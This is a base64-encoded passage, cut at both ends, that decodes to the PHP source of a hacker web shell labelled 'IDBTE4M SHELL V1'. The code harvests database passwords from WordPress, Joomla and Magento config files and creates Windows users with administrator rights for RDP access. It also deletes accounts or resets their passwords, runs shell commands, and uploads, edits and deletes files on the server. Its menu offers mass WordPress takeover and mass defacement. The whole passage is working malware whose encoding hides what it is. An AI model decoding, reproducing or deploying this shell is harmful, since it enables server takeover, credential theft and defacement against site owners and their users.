C4qPyk6eDovIiwgJGdldHUsICR1KTsKCQkJCWZvcmVhY2goJHVbMV0gYXMgJHVzZXJfY3ApIHsKCQkJCQkJaWYoaXNfZGlyKCIvaG9tZS8kdXNlcl9jcC9wdWJsaWNfaHRtbCIpKSB7CgkJCQkJCQllY2hvICIkdXNlcl9jcFxuIjsKCQkJCQl9CgkJCQl9CgkJCX0KCQl9CgkJZWNobyAiPC90ZXh0YXJlYT48YnI+CgkJUEFTUzogPGJyPgoJCTx0ZXh0YXJlYSBzdHlsZT0nd2lkdGg6IDQ1MHB4OyBoZWlnaHQ6IDIwMHB4OycgbmFtZT0ncGFzc19jcCc+IjsKCQlmdW5jdGlvbiBjcF9wYXNzKCRhc3VpKSB7CgkJCSRwYXNzID0gIiI7CgkJCSRkaXJhID0gc2NhbmRpcigkYXN1aSk7CgkJCWZvcmVhY2goJGRpcmEgYXMgJGRpcmIpIHsKCQkJCWlmKCFpc19maWxlKCIkZGlyLyRkaXJiIikpIGNvbnRpbnVlOwoJCQkJJGFtYmlsID0gZmlsZV9nZXRfY29udGVudHMoIiRkaXIvJGRpcmIiKTsKCQkJCWlmKHByZWdfbWF0Y2goIi9Xb3JkUHJlc3MvIiwgJGFtYmlsKSkgewoJCQkJCSRwYXNzIC49IGFtYmlsa2F0YSgkYW1iaWwsIkRCX1BBU1NXT1JEJywgJyIsIiciKS4iXG4iOwoJCQkJfSBlbHNlaWYocHJlZ19tYXRjaCgiL0pDb25maWd8am9vbWxhLyIsICRhbWJpbCkpIHsKCQkJCQkkcGFzcyAuPSBhbWJpbGthdGEoJGFtYmlsLCJwYXNzd29yZCA9ICciLCInIikuIlxuIjsKCQkJCX0gZWxzZWlmKHByZWdfbWF0Y2goIi9NYWdlbnRvfE1hZ2VfQ29yZS8iLCAkYW1iaWwpKSB7CgkJCQkJJHBhc3MgLj0gYW1iaWxrYXRhKCRhbWJpbCwiPHBhc3N3b3JkPjwhW0NEQVRBWyIsIl1dPjwvcGFzc3dvcmQ+IikuIlxuIjsKCQkJCX0gZWxzZWlmKHByZWdfbWF0Y2goIi9wYW5nZ2lsIGZ1bmdzaSB2YWxpZGFzaSB4c3MgZGFuIGluamVjdGlvbi8iLCAkYW1iaWwpKSB7CgkJCQkJJHBhc3MgLj0gYW1iaWxrYXRhKCRhbWJpbCwncGFzc3dvcmQgPSAiJywnIicpLiJcbiI7CgkJCQl9IGVsc2VpZihwcmVnX21hdGNoKCIvSFRUUF9TRVJWRVJ8SFRUUF9DQVRBTE9HfERJUl9DT05GSUd8RElSX1NZU1RFTS8iLCAkYW1iaWwpKSB7CgkJCQkJJHBhc3MgLj0gYW1iaWxrYXRhKCRhbWJpbCwiJ0RCX1BBU1NXT1JEJywgJyIsIiciKS4iXG4iOwoJCQkJfSBlbHNlaWYocHJlZ19tYXRjaCgiL15bY2xpZW50XSQvIiwgJGFtYmlsKSkgewoJCQkJCXByZWdfbWF0Y2goIi9wYXNzd29yZD0oLio/KS8iLCAkYW1iaWwsICRwYXNzMSk7CgkJCQkJaWYocHJlZ19tYXRjaCgnLyIvJywgJHBhc3MxWzFdKSkgewoJCQkJCQkkcGFzczFbMV0gPSBzdHJfcmVwbGFjZSgnIicsICIiLCAkcGFzczFbMV0pOwoJCQkJCQkkcGFzcyAuPSAkcGFzczFbMV0uIlxuIjsKCQkJCQl9IGVsc2UgewoJCQkJCQkkcGFzcyAuPSAkcGFzczFbMV0uIlxuIjsKCQkJCQl9CgkJCQl9IGVsc2VpZihwcmVnX21hdGNoKCIvY2NfZW5jcnlwdGlvbl9oYXNoLyIsICRhbWJpbCkpIHsKCQkJCQkkcGFzcyAuPSBhbWJpbGthdGEoJGFtYmlsLCJkYl9wYXNzd29yZCA9ICciLCInIikuIlxuIjsKCQkJCX0KCQkJfQoJCQllY2hvICRwYXNzOwoJCX0KCQkkY3BfcGFzcyA9IGNwX3Bhc3MoJGFzdWkpOwoJCWVjaG8gJGNwX3Bhc3M7CgkJZWNobyAiPC90ZXh0YXJlYT48YnI+CgkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nY3JhY2snIHN0eWxlPSd3aWR0aDogNDUwcHg7JyB2YWx1ZT0nQ3JhY2snPgoJCTwvZm9ybT4KCQk8c3Bhbj5OQjogQ1BhbmVsIENyYWNrIGluaSBzdWRhaCBhdXRvIGdldCBwYXNzd29yZCAoIHBha2UgZGIgcGFzc3dvcmQgKSBtYWthIGFrYW4gd29yayBqaWthIGRpamFsYW5rYW4gZGkgZGFsYW0gZm9sZGVyIDx1PmNvbmZpZzwvdT4gKCBleDogL2hvbWUvdXNlci9wdWJsaWNfaHRtbC9uYW1hX2ZvbGRlcl9jb25maWcgKTwvc3Bhbj48YnI+PC9jZW50ZXI+IjsKCX0KfQppZigkX0dFVFsnZG8nXSA9PSAnUkRQJykgewplY2hvICc8cD4tfCBDcmVhdGUgUkRQICB8LTwvcD4KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+VXNlciA6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXJuYW1lIiByZXF1aXJlZD4gUGFzcyA6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBhc3N3b3JkIiByZXF1aXJlZD4gPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ia3NoZWxsIiB2YWx1ZT0iMSI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iPj4iPgo8L2Zvcm0+CjwvZGl2PgoKPGNlbnRlcj4KPGRpdiBpZD0iY29udGVudC1jZW50ZXIiPgo8cD4teyBPcHRpb24gfS08L3A+Cjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJydXNlcm5hbWUiIHBsYWNlaG9sZGVyPSJNYXN1a2FuIFVzZXJuYW1lIj4gPHNlbGVjdCBuYW1lPSJha3NpIj4KCQkJCQkJPG9wdGlvbiB2YWx1ZT0iMSI+VGFtcGlsa2FuIFVzZXJuYW1lPC9vcHRpb24+CgkJCQkJCTxvcHRpb24gdmFsdWU9IjIiPkhhcHVzIFVzZXJuYW1lPC9vcHRpb24+CgkJCQkJCTxvcHRpb24gdmFsdWU9IjMiPlViYWggUGFzc3dvcmQ8L29wdGlvbj4KCQkJCTwvc2VsZWN0Pgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJrc2hlbGwiIHZhbHVlPSIyIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iPj4iPjwvZm9ybT4KPC9kaXY+JzsKfQppZigkX1BPU1RbJ3N1Ym1pdCddKXsKZWNobyAiPHA+LS0tLS0tLS0tLS0tLS0teyBJTkZPIH0tLS0tLS0tLS0tLS0tLS08L3A+IjsJCmlmKCRfUE9TVFsna3NoZWxsJ109PSIxIil7Cgkkcl91c2VyID0gJF9QT1NUWyd1c2VybmFtZSddOwoJJHJfcGFzcyA9ICRfUE9TVFsncGFzc3dvcmQnXTsKCSRjbWRfY2VrX3VzZXIgICA9IHNoZWxsX2V4ZWMoIm5ldCB1c2VyIik7IAoJaWYocHJlZ19tYXRjaCgiLyRyX3VzZXIvIiwgJGNtZF9jZWtfdXNlcikpewoJCWVjaG8gJGdheWFfcm9vdC4kcl91c2VyLiIgc3VkYWggYWRhIi4kbzsKCX1lbHNlIHsKCSRjbWRfYWRkX3VzZXIgICA9IHNoZWxsX2V4ZWMoIm5ldCB1c2VyICIuJHJfdXNlci4iICIuJHJfcGFzcy4iIC9hZGQiKTsKICAgICRjbWRfYWRkX2dyb3VwczEgPSBzaGVsbF9leGVjKCJuZXQgbG9jYWxncm91cCBBZG1pbmlzdHJhdG9ycyAiLiRyX3VzZXIuIiAvYWRkIik7CiAgICAkY21kX2FkZF9ncm91cHMyID0gc2hlbGxfZXhlYygibmV0IGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRvciAiLiRyX3VzZXIuIiAvYWRkIik7CiAgICAkY21kX2FkZF9ncm91cHMzID0gc2hlbGxfZXhlYygibmV0IGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRldXIgIi4kcl91c2VyLiIgL2FkZCIpOwogICAgICAgIAogICAgCWlmKCRjbWRfYWRkX3VzZXIpewogICAgCQllY2hvICRnYXlhX3Jvb3QuIjxwPlthZGQgdXNlcl0tPiAiLiRyX3VzZXIuIiA8Zm9udCBjb2xvcj0nZ3JlZW55ZWxsb3cnPkJlcmhhc2lsPC9mb250PjxwPiIuJG87CiAgICAJfWVsc2UgewogICAgCQllY2hvICRnYXlhX3Jvb3QuIjxwPlthZGQgdXNlcl0tPiAiLiRyX3VzZXIuIiA8Zm9udCBjb2xvcj0ncmVkJz5HYWdhbDwvZm9udD48cD4iLiRvOwogICAgCX0KICAgIAlpZigkY21kX2FkZF9ncm91cHMxKXsKICAgICAgICAgICAgICBlY2hvICRnYXlhX3Jvb3QuIjxwPlthZGQgbG9jYWxncm91cCBBZG1pbmlzdHJhdG9yc10tPiAiLiRyX3VzZXIuIiA8Zm9udCBjb2xvcj0nZ3JlZW55ZWxsb3cnPkJlcmhhc2lsPC9mb250PjxwPiIuJG87CiAgICAJfWVsc2UKICAgIAlpZigkY21kX2FkZF9ncm91cHMyKXsKICAgICAgICAgICAgICBlY2hvICRnYXlhX3Jvb3QuIjxwPlthZGQgbG9jYWxncm91cCBBZG1pbmlzdHJhdG9yXS0+ICIuJHJfdXNlci4iIDxmb250IGNvbG9yPSdncmVlbnllbGxvdyc+QmVyaGFzaWw8L2ZvbnQ+PHA+Ii4kbzsKICAgIAl9ZWxzZQogICAgCWlmKCRjbWRfYWRkX2dyb3VwczMpewogICAgICAgICAgICAgIGVjaG8gJGdheWFfcm9vdC4iPHA+W2FkZCBsb2NhbGdyb3VwIEFkbWluaXN0cmF0ZXVyXS0+ICIuJHJfdXNlci4iIDxmb250IGNvbG9yPSdncmVlbnllbGxvdyc+QmVyaGFzaWw8L2ZvbnQ+PHA+Ii4kbzsKICAgIAl9ZWxzZSB7CiAgICAJCSAgZWNobyAkZ2F5YV9yb290LiI8cD5bYWRkIGxvY2FsZ3JvdXBdLT4gIi4kcl91c2VyLiIgPGZvbnQgY29sb3I9J3JlZCc+R2FnYWwgLSBDb250YWN0IFNob3I3c2VjPC9mb250PjxwPiIuJG87CiAgICAJfQoJCQkgIGVjaG8gJGdheWFfcm9vdC4iPHA+W0lORk8gUENdLT4gUkRQIElQICIuJF9TRVJWRVJbIkhUVFBfSE9TVCJdLiIgVXNlcm5hbWUgOiAiLiRyX3VzZXIuIiBQYXNzd29yZCA6ICIuJHJfcGFzcy4iIDxmb250IGNvbG9yPSdncmVlbnllbGxvdyc+QmVyaGFzaWw8L2ZvbnQ+PHA+Ii4kbzsKCgl9CgoKCn1lbHNlIGlmKCRfUE9TVFsna3NoZWxsJ109PSIyIil7CgppZigkX1BPU1RbJ2Frc2knXT09IjEiKXsKIGVjaG8gIjxwcmU+Ii5zaGVsbF9leGVjKCJuZXQgdXNlciIpOwp9CmVsc2UgaWYoJF9QT1NUWydha3NpJ109PSIyIil7CiR1c2VybmFtZSA9ICRfUE9TVFsncnVzZXJuYW1lJ107CiRjbWRfY2VrX3VzZXIgICA9IHNoZWxsX2V4ZWMoIm5ldCB1c2VyIik7CglpZiAoIWVtcHR5KCR1c2VybmFtZSkpewoJCWlmKHByZWdfbWF0Y2goIi8kdXNlcm5hbWUvIiwgJGNtZF9jZWtfdXNlcikpewoJCSRjbWRfYWRkX3VzZXIgICA9IHNoZWxsX2V4ZWMoIm5ldCB1c2VyICIuJHVzZXJuYW1lLiIgL0RFTEVURSIpOwoJCWlmKCRjbWRfYWRkX3VzZXIpeyAKCQkJZWNobyAkZ2F5YV9yb290LiI8cD5bcmVtb3ZlIHVzZXJdLT4gIi4kdXNlcm5hbWUuIiA8Zm9udCBjb2xvcj0nZ3JlZW55ZWxsb3cnPkJlcmhhc2lsPC9mb250PjxwPiIuJG87CgkJfWVsc2UgewoJCQllY2hvICRnYXlhX3Jvb3QuIjxwPltyZW1vdmUgdXNlcl0tPiAiLiR1c2VybmFtZS4iIDxmb250IGNvbG9yPSdyZWQnPmdhZ2FsPC9mb250PjxwPiIuJG87CgkJfQoJfWVsc2UgewoJCWVjaG8gJGdheWFfcm9vdC4iPHA+W3JlbW92ZSB1c2VyXS0+ICIuJHVzZXJuYW1lLiIgPGZvbnQgY29sb3I9J3JlZCc+VGlkYWsgZGl0ZW11a2FuPC9mb250PjxwPiIuJG87Cgl9Cgl9ZWxzZSB7CgkJZWNobyAkZ2F5YV9yb290LiI8cD5bUEVTQU5dLT4gPGZvbnQgY29sb3I9J3JlZCc+S2FtdSBsdXBhIG1hc3VraW4gVXNlcm5hbWUgeWFuZyBha2FuIGRpIGRlbGV0ZTwvZm9udD48cD4iLiRvOwoJfQp9ZWxzZSBpZigkX1BPU1RbJ2Frc2knXT09IjMiKXsKJHVzZXJuYW1lID0gJF9QT1NUWydydXNlcm5hbWUnXTsKJHBhc3N3b3JkID0gImphbmNvayI7CiRjbWRfY2VrX3VzZXIgICA9IHNoZWxsX2V4ZWMoIm5ldCB1c2VyIik7CglpZiAoIWVtcHR5KCR1c2VybmFtZSkpewoJCWlmKHByZWdfbWF0Y2goIi8kdXNlcm5hbWUvIiwgJGNtZF9jZWtfdXNlcikpewoJCQkkY21kX2FkZF91c2VyICAgPSBzaGVsbF9leGVjKCJuZXQgdXNlciAiLiR1c2VybmFtZS4iIGphbmNvayIpOwoJCQlpZigkY21kX2FkZF91c2VyKXsKCQkJZWNobyAkZ2F5YV9yb290LiI8cD5bY2hhbmdlIHBhc3N3b3JkXS0+ICgiLiR1c2VybmFtZS4ifCIuJHBhc3N3b3JkLiIpIDxmb250IGNvbG9yPSdncmVlbnllbGxvdyc+QmVyaGFzaWw8L2ZvbnQ+PHA+Ii4kbzsKCQl9ZWxzZSB7CgkJCWVjaG8gJGdheWFfcm9vdC4iPHA+W2NoYW5nZSBwYXNzd29yZF0tPiAoIi4kdXNlcm5hbWUuInwiLiRwYXNzd29yZC4iKSA8Zm9udCBjb2xvcj0ncmVkJz5HQUdBTDwvZm9udD48cD4iLiRvOwoJCX0KCX1lbHNlCnsKCWVjaG8gJGdheWFfcm9vdC4iPHA+W1BFU0FOXS0+IDxmb250IGNvbG9yPSdyZWQnPlVzZXJuYW1lIFRpZGFrIERpdGVtdWthbiBkaSBzZXJ2ZXI8L2ZvbnQ+PHA+Ii4kbzsKfQp9ZWxzZQp7CgllY2hvICRnYXlhX3Jvb3QuIjxwPltQRVNBTl0tPiA8Zm9udCBjb2xvcj0ncmVkJz5LYW11IGx1cGEgbWFzdWtpbiBVc2VybmFtZSB5YW5nIGFrYW4gZGkgZGVsZXRlPC9mb250PjxwPiIuJG87Cn0KCQkKfQoKfQoKfQo/PgoKPD9waHAgCgoKCQkKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOwpAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsMCk7CnNldF90aW1lX2xpbWl0KDApOwplcnJvcl9yZXBvcnRpbmcoMCk7CmlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpewogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsKICAgICAgICAkX1BPU1RbJGtleV0gPSBzdHJpcHNsYXNoZXMoJHZhbHVlKTsKICAgIH0KfQplY2hvICc8aHRtbD48aGVhZD4KPHRpdGxlPi1fLTwvdGl0bGU+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0ianBnL3BuZzsgY2hhcnNldD11dGYtOCI+PGRpdiBjbGFzcz0iZ21haWxfZXh0cmEiPjxicj4KPGxpbmsgcmVsPSJTSE9SVENVVCBJQ09OIiBocmVmPSJodHRwOi8vZ29lbmsud2FwZ2VtLmNvbS9pZGIucG5nIj4KPGJvZHk+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Cglib2R5IHsKICAgIGJhY2tncm91bmQ6IGJsYWNrOwogICAgY29sb3I6ICMwMEZGMDA7CiAgICBmb250LWZhbWlseTogbW9ub3NwYWNlOwp9CgouYWNjZXNzR3JhbnRlZCB7CiAgICBwb3NpdGlvbjogYWJzb2x1dGU7CiAgICB0b3A6IDIwMHB4OwogICAgYmFja2dyb3VuZDogIzMzMzsKICAgIHBhZGRpbmc6IDIwcHg7CiAgICBib3JkZXI6IDFweCBzb2xpZCAjOTk5OwogICAgd2lkdGg6IDMwMHB4OwogICAgbGVmdDogNTAlOwogICAgbWFyZ2luLWxlZnQ6IC0xNTBweDsKICAgIHRleHQtYWxpZ246IGNlbnRlcjsKfQoKLmFjY2Vzc0RlbmllZCB7CiAgICBwb3NpdGlvbjogYWJzb2x1dGU7CiAgICB0b3A6IDIwMHB4OwogICAgY29sb3I6ICNGMDA7CiAgICBiYWNrZ3JvdW5kOiAjNTExOwogICAgcGFkZGluZzogMjBweDsKICAgIGJvcmRlcjogMXB4IHNvbGlkICNGMDA7CiAgICB3aWR0aDogMzAwcHg7CiAgICBsZWZ0OiA1MCU7CiAgICBtYXJnaW4tbGVmdDogLTE1MHB4OwogICAgdGV4dC1hbGlnbjogY2VudGVyOwp9CiNjb250ZW50LWNlbnRlciB7CiAgICB3aWR0aDogNDAwcHg7CiAgICBwYWRkaW5nOiAwcHggMTBweCAxMHB4IDEwcHg7CiAgICB3aWR0aDogODAwcHg7IAogICAgbWFyZ2luOiAwIGF1dG87Cn0KI2NvbnRlbnQtbGVmdCB7Cm1hcmdpbjogMCBhdXRvOwogICAgIHRleHQtYWxpZ246IGxlZnQ7Cn0KI2NvbnRlbnQtcmlnaHQgewptYXJnaW46IDAgYXV0bzsKICAgICB0ZXh0LWFsaWduOiByaWdodDsKfQppbnB1dCxzZWxlY3QsdGV4dGFyZWF7CiAgICBib3JkZXI6MDsKICAgIGJvcmRlcjoxcHggc29saWQgIzkwMDsKICAgIGJhY2tncm91bmQ6YmxhY2s7CiAgICBtYXJnaW46MDsKICAgICAgICBjb2xvcjogd2hpdGU7CgogICAgcGFkZGluZzoycHggNHB4Owp9CmlucHV0OmhvdmVyLHRleHRhcmVhOmhvdmVyLHNlbGVjdDpob3ZlcnsKICAgIGJhY2tncm91bmQ6YmxhY2s7CiAgICAgICAgY29sb3I6IGJsdWU7CgogICAgYm9yZGVyOjFweCBzb2xpZCAjZjAwOwp9CiAgICAgICAgICAgICAgICAgICAgICAgIGF7IHRleHQtZGVjb3JhdGlvbjpub25lOyBjb2xvcjpyZWQ7fQo8L3N0eWxlPgo8L2hlYWQ+CjxIMT48Y2VudGVyPi09WytdIElEQlRFNE0gU0hFTEwgVjEgWytdPS08L2NlbnRlcj48L0gxPgo8dGFibGUgd2lkdGg9IjkwMCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgonOwplY2hvICc8Zm9udCBjb2xvcj0iYXF1YSI+PGNlbnRlcj4nLnBocF91bmFtZSgpLic8L2NlbnRlcj48L2ZvbnQ+PGJyPic7CmVjaG8gJzx0cj48dGQ+CjxjZW50ZXI+CjxkaXYgaWQ9ImNvbnRlbnQtY2VudGVyIj4KPGZvcm0gbWV0aG9kPSJwb3N0Ij4KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNtZCIgc2l6ZT0iMzAiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDb21tYW5kIj4KPC9mb3JtPgo8YnI+ClsgPGEgaHJlZj0iPyI+PGZvbnQgY29sb3I9ImFxdWEiPkhvbWU8L2ZvbnQ+PC9hPiBdLVsgPGEgaHJlZj0iP2RvPXdwbSI+PGZvbnQgY29sb3I9ImFxdWEiPldwIE1hc3M8L2ZvbnQ+PC9hPiBdLVsgPGEgaHJlZj0iP2RvPWp1bXBpbmciPjxmb250IGNvbG9yPSJhcXVhIj5KdW1waW5nPC9mb250PjwvYT4gXS1bIDxhIGhyZWY9Ij9kbz1tYXNzX2RlZmFjZSI+PGZvbnQgY29sb3I9ImFxdWEiPk1hc3MgRGVmYWNlPC9mb250PjwvYT4gXS1bIDxhIGhyZWY9Ij9kbz1SRFAiPjxmb250IGNvbG9yPSJhcXVhIj5LUkRQPC9mb250PjwvYT4gXS1bIDxhIGhyZWY9Ij9kbz1jb25maWciPjxmb250IGNvbG9yPSJhcXVhIj5Db25maWcgR3JhYjwvZm9udD48L2E+IF0tWyA8YSBocmVmPSI/ZG89dG9sbHMiPjxmb250IGNvbG9yPSJhcXVhIj5DcDwvZm9udD48L2E+IF0KCjxicj48YnI+JzsKZWNobyAnSURCVEU0TSAjPiAnOwppZihpc3NldCgkX0dFVFsncGF0aCddKSl7CiAgICAkcGF0aCA9ICRfR0VUWydwYXRoJ107ICAgCn1lbHNlewogICAgJHBhdGggPSBnZXRjd2QoKTsKfQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsKJHBhdGhzID0gZXhwbG9kZSgnLycsJHBhdGgpOwoKZm9yZWFjaCgkcGF0aHMgYXMgJGlkPT4kcGF0KXsKICAgIGlmKCRwYXQgPT0gJycgJiYgJGlkID09IDApewogICAgICAgICRhID0gdHJ1ZTsKICAgICAgICBlY2hvICc8YSBocmVmPSI/cGF0aD0vIj4vPC9hPic7CiAgICAgICAgY29udGludWU7CiAgICB9CiAgICBpZigkcGF0ID09ICcnKSBjb250aW51ZTsKICAgIGVjaG8gJzxhIGhyZWY9Ij9wYXRoPSc7CiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspewogICAgICAgIGVjaG8gIiRwYXRoc1skaV0iOwogICAgICAgIGlmKCRpICE9ICRpZCkgZWNobyAiLyI7CiAgICB9CiAgICBlY2hvICciPicuJHBhdC4nPC9hPi8nOwp9CmVjaG8gJzwvdGQ+PC90cj48dHI+PHRkPic7CmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewogICAgaWYoY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sJHBhdGguJy8nLiRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSl7CiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj5PSyBDT0sgU1VLU0VTUyAhITwvZm9udD48YnIgLz4nOwogICAgfWVsc2V7CiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+QVNVIFJBSU1VIEVMSyA6UDwvZm9udD48YnIgLz4nOwogICAgfQp9CmVjaG8gJzxjZW50ZXI+Cjxmb3JtIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCI+CjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiAvPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0idXBsb2FkIiAvPgo8L2Zvcm0+CjwvdGQ+PC90cj4nOwppZihpc3NldCgkX0dFVFsnZmlsZXNyYyddKSl7CiAgICBlY2hvICI8dHI+PHRkPkN1cnJlbnQgRmlsZSA6ICI7CiAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107CiAgICBlY2hvICc8L3RyPjwvdGQ+PC90YWJsZT48YnIgLz4nOwogICAgZWNobygnPHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJF9HRVRbJ2ZpbGVzcmMnXSkpLic8L3ByZT4nKTsKfWVsc2VpZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gIT0gJ2RlbGV0ZScpewogICAgZWNobyAnPC90YWJsZT48YnIgLz48Y2VudGVyPicuJF9QT1NUWydwYXRoJ10uJzxiciAvPjxiciAvPic7CiAgICBpZigkX1BPU1RbJ29wdCddID09ICdjaG1vZCcpewogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsncGVybSddKSl7CiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRfUE9TVFsncGVybSddKSl7CiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPkNoYW5nZSBQZXJtaXNzaW9uIERvbmUuPC9mb250PjxiciAvPic7CiAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+Q2hhbmdlIFBlcm1pc3Npb24gRXJyb3IuPC9mb250PjxiciAvPic7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4KICAgICAgICBQZXJtaXNzaW9uIDogPGlucHV0IG5hbWU9InBlcm0iIHR5cGU9InRleHQiIHNpemU9IjQiIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3BhdGgnXSkpLCAtNCkuJyIgLz4KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJjaG1vZCI+CiAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIiAvPgogICAgICAgIDwvZm9ybT4nOwogICAgfWVsc2VpZigkX1BPU1RbJ29wdCddID09ICdyZW5hbWUnKXsKICAgICAgICBpZihpc3NldCgkX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICBpZihyZW5hbWUoJF9QT1NUWydwYXRoJ10sJHBhdGguJy8nLiRfUE9TVFsnbmV3bmFtZSddKSl7CiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPkNoYW5nZSBOYW1lIERvbmUuPC9mb250PjxiciAvPic7CiAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+Q2hhbmdlIE5hbWUgRXJyb3IuPC9mb250PjxiciAvPic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF9QT1NUWyduYW1lJ10gPSAkX1BPU1RbJ25ld25hbWUnXTsKICAgICAgICB9CiAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4KICAgICAgICBOZXcgTmFtZSA6IDxpbnB1dCBuYW1lPSJuZXduYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJF9QT1NUWyduYW1lJ10uJyIgLz4KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJyZW5hbWUiPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyIgLz4KICAgICAgICA8L2Zvcm0+JzsKICAgIH1lbHNlaWYoJF9QT1NUWydvcHQnXSA9PSAnZWRpdCcpewogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsKICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPkVkaXQgRmlsZSBEb25lLjwvZm9udD48YnIgLz4nOwogICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkVkaXQgRmlsZSBFcnJvci48L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBmY2xvc2UoJGZwKTsKICAgICAgICB9CiAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4KICAgICAgICA8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncGF0aCddKSkuJzwvdGV4dGFyZWE+PGJyIC8+CiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJF9QT1NUWydwYXRoJ10uJyI+CiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+CiAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIiAvPgogICAgICAgIDwvZm9ybT4nOwogICAgfQogICAgZWNobyAnPC9jZW50ZXI+JzsKfWVsc2V7CiAgICBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+JzsKICAgIGlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9QT1NUWydvcHQnXSA9PSAnZGVsZXRlJyl7CiAgICAgICAgaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2RpcicpewogICAgICAgICAgICBpZihybWRpcigkX1BPU1RbJ3BhdGgnXSkpewogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj5EZWxldGUgRGlyIERvbmUuPC9mb250PjxiciAvPic7CiAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY2